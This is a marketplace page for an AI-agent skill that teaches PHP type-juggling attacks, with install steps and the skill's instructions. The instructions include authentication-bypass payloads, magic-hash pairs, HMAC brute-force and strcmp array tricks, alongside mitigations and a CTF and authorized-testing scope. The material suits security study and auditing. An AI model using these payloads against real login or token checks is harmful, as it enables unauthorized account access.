Type Juggling logo

Type Juggling

OrganizationPopular
yaklang
type-juggling

PHP type juggling and weak comparison (`==`) bypass. Use when authentication, HMAC/signature checks, or token validation uses loose equality, numeric coercion, or hash comparisons without strict types — common in legacy PHP and CTF-style code paths.

Overview

Publisheryaklang
Repositoryhack-skills
Skill nametype-juggling
Stars
2.3K
Forks
314
Bundled files
Instructions only
LicenseMIT
Links
  • Markdown instructions

    A SKILL.md file the model loads on demand, so it only costs tokens when a request actually matches.

  • Works with any LLM

    AI skills are plain Markdown, not provider-specific code, so this works with GPT, Claude, Gemini, Grok, or a local model.

  • Self-contained

    Everything the model needs lives in the instructions — no extra files to sync.

  • Open source

    Published by yaklang on GitHub. Read the source before you install it.

Installation

Install the Type Juggling AI skill in TypingMind to use it with any LLM, or drop it into another agent that reads SKILL.md.

1

Install in TypingMind

TypingMind installs a skill straight from its GitHub folder — it reads SKILL.md, bundles the resource files, and stores the result locally.

  1. Open the app and go to Plugins → Skills.
  2. Choose "Install from GitHub".
  3. Paste the skill folder URL below and confirm.
    https://github.com/yaklang/hack-skills/tree/main/skills/type-juggling
  4. Enable the skill in any chat where you want it available.
Plugins → Skills → Add skill → From GitHub URL, then paste the folder URL and press Continue.
2

Install in another agent

Any agent that reads the Agent Skills format can use this skill — copy the folder into that agent's skills directory.

Claude Code — .claude/skills
git clone --depth 1 https://github.com/yaklang/hack-skills.git /tmp/hack-skills
mkdir -p .claude/skills
cp -r /tmp/hack-skills/skills/type-juggling .claude/skills/type-juggling
Restart Claude Code after copying so it picks up the new skill.

Use it in TypingMind

Enable Type Juggling in any TypingMind chat and the model takes it from there. Its name and description sit in the system prompt, and the moment a request matches, the model loads the full instructions itself — you never invoke it by hand, and it costs no tokens until it is actually used.

The model loads Type Juggling on its own as soon as a request matches it.

Works with any AI model

AI skills are plain Markdown instructions rather than provider-specific code, so Type Juggling is not tied to the model it was written for. Install it once in TypingMind and use it with GPT-5, Claude, Gemini, Grok, DeepSeek, Mistral, Llama, or a local model you run yourself — all on your own API keys.

  • Loaded only when it is needed

    The system prompt carries just the name and description. The instructions are fetched on the first matching request, so an idle skill costs nothing.

  • Switch models mid-chat

    Because the skill is instructions rather than code, changing model does not break it — the next model reads the same SKILL.md.

Skill instructions

This is the SKILL.md content the model loads. Read it before installing — a skill is instructions your model will follow.

SKILL: PHP Type Juggling — Weak Comparison & Magic Hash Bypass

AI LOAD INSTRUCTION: PHP == coercion, magic hashes (0e…), HMAC/hash loose checks, NULL from bad types, and CTF-style strcmp / json_decode / intval tricks. Use strict routing: map the sink (== vs hash_equals), PHP major version, and whether both operands are attacker-controlled. Routing note: when you encounter PHP login/signature logic or code like md5($_GET['x'])==md5($_GET['y']), start with this skill; if hash_equals/=== is already used, this path usually does not apply.

0. QUICK START

First-pass goal: prove the server branch treats unequal secrets/tokens as equal via coercion, not guess the real password.

First-pass payloads (auth / token shape)

text
password[]=x
password=
0
0e12345
240610708
QNKCDZO
true
[]
{"password":true}
admin%00

Minimal PHP probes (local or php -r in lab)

php
<?php
// Loose compare probes — run in target PHP major version if possible
var_dump('0e123' == '0e999');
var_dump('123a' == 123);
var_dump(md5('240610708') == md5('QNKCDZO'));

Routing hints

ClueNext step
Source code uses == to compare passwords, tokens, or HMAC valuesGo to Sections 1-3
md5($a) == md5($b) or loose sha1 comparisonSection 2 magic hashes
hash_hmac(...) != '0' or compared with "0"Section 3
strcmp、json_decode(..., true)、intvalSection 5

1. LOOSE COMPARISON (==) — TRUTH TABLE & VERSIONS

PHP compares operands with type juggling unless you use === or hash_equals() for secrets.

1.1 Core examples (strings vs numbers)

ExpressionResultMechanism (short)
'0010e2' == '1e3'trueBoth strings look numeric → compared as floats; both parse to 1000.0 (not zero — common exam trap; see next row for real “both zero”)
'0e462097431906509019562988736854' == '0e830400451993494058024219903391'trueBoth parse as 0.0 in scientific notation
'123a' == 123trueString cast to int stops at first non-digit → 123
'abc' == 0true (PHP 7.x and earlier)Non-numeric string compared to int → string becomes 0
'' == 0trueEmpty string → 0
'' == falsetrueboth “falsy” in loose rules
false == NULLtrueloose equality
0 == falsetrueloose equality
'' == 0 == false == NULLtrue (chain)Each adjacent pair is true under == (''==0, 0==false, false==NULL) — classic “falsy” chain
'0' == falsetrueString '0' is the only non-empty string that compares as false to boolean
'php' == 0false (PHP 8+)PHP 8: non-numeric string no longer equals 0

1.2 PHP 5 vs 7 vs 8 (high-signal deltas)

TopicPHP 5.x / 7.x (typical)PHP 8.0+
0 == "foo"true (string → 0)false
String-to-number for "123a"Still truncates for (int) / numeric compare in many == pathsSame idea for numeric strings; non-numeric vs int fixed as above
md5([]) / sha1([])May warn / NULL-like behavior in older patternsTypeError for wrong types — kills classic [] tricks unless error handling collapses to NULL

Tester takeaway: always note PHP version from headers, X-Powered-By, or fingerprint; a payload that works on PHP 7 may fail on PHP 8.

1.3 Safe alternative (defense / verification)

php
hash_equals((string)$expected, (string)$actual);  // timing-safe, strict string
// or
$expected === $actual;

2. MAGIC HASHES (0e… + digits only)

When both sides are hex-looking hash strings that match ^0e[0-9]+$, PHP treats them as floats in scientific notation → value 0.0. Then md5(A) == md5(B) is true even though digests differ as strings.

2.1 Reference table (MD5 / SHA-1 and longer algos)

AlgorithmExample inputDigest (starts with 0e + all decimal digits)
MD52406107080e462097431906509019562988736854
MD5QNKCDZO0e830400451993494058024219903391
SHA-1109324351120e07766915004133176347055865026311692244
SHA-224(brute-force / precomputed)Example form: 0e + decimal digits only → == with another such string is true
SHA-256(brute-force / precomputed)Same pattern: only strings matching ^0e\d+$ collide under ==

Why it works: md5('240610708') == md5('QNKCDZO') → both sides match ^0e[0-9]+$ → both interpreted as 0.0 == 0.0 → true.

2.2 Exploit pattern in code

php
if (md5($_GET['a']) == md5($_GET['b']) && $_GET['a'] != $_GET['b']) {
    // intended: different strings, same md5 (impossible for md5)
    // actual: two different strings whose *digests* are magic hashes
}

2.3 Payload sketch (pair hunting)

text
?a=240610708&b=QNKCDZO

For SHA-224/256, treat as search problem: brute-force inputs until digest matches ^0e\d+$; pair two distinct inputs. Longer hashes = harder; MD5/SHA1 examples above are the usual teaching set.


3. HMAC BYPASS (LOOSE COMPARE VS "0" OR 0)

If logic uses loose inequality against a constant:

php
if (hash_hmac('md5', $data, $key) != '0') { /* ok */ }
// or == 0, == false with string "0e...", etc.

Brute-force $data (e.g. timestamp, nonce, counter) until hash_hmac output matches ^0e[0-9]+$ (for MD5 output) or the code’s specific loose rule — then the hash may compare equal to 0 or to another magic digest under ==.

Example (MD5-style 0e digest for a numeric message)

ConceptExample
Message typeUnix timestamp, incrementing id, millisecond clock
Timestamp brute-force patternTutorials sometimes cite 1539805986 → 0e772967136366835494939987377058 as a magic-hash style example; md5('1539805986') does not yield that digest in stock PHP — use the idea (scan timestamps / counters until output matches ^0e[0-9]+$) and always verify against the exact function + key in the target code.
GoalFind $data such that hash_hmac('md5', $data, $key) matches ^0e[0-9]+$
NoteWithout knowing $key, you may still brute $data if algorithm/output are visible in a oracle; CTFs often leak or fix key
text
# Conceptual: try many timestamps
for t in range(T0, T1):
    if re.fullmatch(r'0e\d+', hmac_md5(str(t), key)):
        use t

Mitigation: hash_equals($mac, $expected) + fixed-length hex/binary encoding; never compare HMAC to bare "0".


4. NULL JUGGLING (ARRAYS & TYPE ERRORS)

Invalid types can yield NULL on the compared side; loose equality to another NULL or coerced value may pass.

CallTypical PHP 7/8 behavior
md5([])PHP 8: TypeError; older: warnings / not reliable across versions
sha1([])Same
IdeaIf error handler or custom wrapper converts failures to NULL, then NULL == NULL or NULL == sha1("x") if other side is also NULL
php
// CTF / broken code mental model:
@sha1($_GET['x']) == @sha1($_GET['y']);  // if both error to NULL → true

Real audits: look for @, custom try/catch that sets hash to null, or user input passed where a string is required.


5. CTF PATTERNS

5.1 strcmp / strcasecmp with arrays

php
strcmp([], "password");  // NULL in PHP 7/8 (invalid args)
// NULL == 0  → true in loose compare if code does:
if (strcmp($_GET['p'], $secret) == 0)

Payload:

text
?p[]=1

5.2 intval bypass

php
// Hex: base 0 lets PHP interpret 0x prefix (version-dependent; always verify)
intval("0x1A", 0);   // → 26

// Octal: leading 0 can be parsed as octal with base 0
intval("010", 0);  // → 8 (classic teaching example; confirm on target PHP)

// Scientific notation: intval() alone stops at 'e'; cast via float first
intval((float) "1e2"); // → 100
text
?id=0x1A
?id=010
?id=1e2

5.3 json_decode + true for associative array auth

json
{"password": true}
php
$j = json_decode($input, true);
if ($j['password'] == $stored_string) // true == "nonempty" often true — see PHP loose rules

5.4 is_numeric + loose compare

php
is_numeric("0e12345");  // true
"0e12345" == 0;         // true (scientific notation → 0.0)

5.5 Deserialization + magic properties

Unserialize user input into objects whose __toString or properties feed into md5($obj) or loose compare — combine with magic hash strings on properties (CTF). Look for unserialize($_…) near == on hashes.


6. DECISION TREE

text
                         +------------------+
                         | PHP loose compare|
                         | or hash == hash? |
                         +--------+---------+
                                  |
                    +-------------+-------------+
                    |                           |
             +------v------+             +------v------+
             | Uses === or |             | Uses == or   |
             | hash_equals |             | strcmp == 0  |
             +------+------+             +------+-------+
                    |                           |
               STOP (likely)              +-----v-----+
                                          | Operand   |
                                          | types?    |
                                          +-----+-----+
                           +--------------+---+--------------+
                           |              |                  |
                    +------v------+ +-----v-----+    +-------v--------+
                    | Both numeric| | One int & |    | Hash digests   |
                    | strings 0e… | | one string|    | both 0e\d+ ?   |
                    +------+------+ +-----+-----+    +-------+--------+
                           |              |                  |
                      MAGIC HASH    STRING/INT           MAGIC HASH
                      COLLISION     JUGGLING             (md5/sha1/…)
                           |              |                  |
                           +------+-------+------------------+
                                  |
                           +------v------+
                           | HMAC / MAC  |
                           | vs "0"      |
                           +------+------+
                                  |
                           brute $data
                           for 0e… digest
                                  |
                           +------v------+
                           | Arrays /    |
                           | json true / |
                           | strcmp([])  |
                           +-------------+

Tool references

ToolUse
Local php CLIReproduce == behavior for target major version
Static code reviewGrep ==, != on crypto outputs; find missing hash_equals
CTF frameworksPayload generators for magic hashes and 0e search

Safety & scope: Use only on authorized targets (CTF, lab, written permission). This skill explains language semantics for defense and assessment — not a license to attack systems without consent.

Frequently asked questions

What does the Type Juggling AI skill do?

PHP type juggling and weak comparison (`==`) bypass. Use when authentication, HMAC/signature checks, or token validation uses loose equality, numeric coercion, or hash comparisons without strict types — common in legacy PHP and CTF-style code paths.

Why use Type Juggling on TypingMind?

Because you install it once and use it with any model. Type Juggling is plain Markdown rather than provider-specific code, so the same skill runs on GPT-5, Claude, Gemini, Grok, or a local model — and you can switch model mid-chat without it breaking. TypingMind runs on your own API keys, so you pay providers directly instead of a per-seat subscription, and your skills and chats stay in your own storage.

How do I install Type Juggling in TypingMind?

Open Plugins → Skills → Install from GitHub in TypingMind and paste https://github.com/yaklang/hack-skills/tree/main/skills/type-juggling. TypingMind reads its SKILL.md and installs it as a skill you can enable per chat.

Which AI models can use Type Juggling?

Any model you connect in TypingMind. AI skills are plain Markdown instructions rather than provider-specific code, so GPT, Claude, Gemini, Grok, and local models can all load this skill when a request matches it.

How many AI models can I use with Type Juggling?

As many as you like. As long as a model supports skills, you can use Type Juggling with it — GPT, Claude, Gemini, Grok, DeepSeek, Mistral, Llama and more — all on TypingMind with your own API keys.

Is the Type Juggling AI skill free?

Yes. It is published on GitHub by yaklang under the MIT license. You only pay your own AI provider for the tokens you use.

What are AI skills?

An AI skill is a reusable instruction bundle that teaches an AI model how to do one specific task. It follows the open Agent Skills format: a SKILL.md file with a name and description, plus any scripts, templates or reference files the model may need. The model reads the instructions only when your request matches the skill, so an installed skill costs nothing until it is used.

How are AI skills different from plugins or MCP servers?

A plugin or MCP server gives a model new tools to call — code that runs somewhere and returns a result. An AI skill gives the model knowledge and process instead: how to approach a task, which steps to follow, what good output looks like. Skills are plain Markdown, so they need no server, no API key and no runtime, and they work with any model.

View all

Set up your own AI workspace now

Get notified about new features and future giveaways by subscribing to our newsletter 👇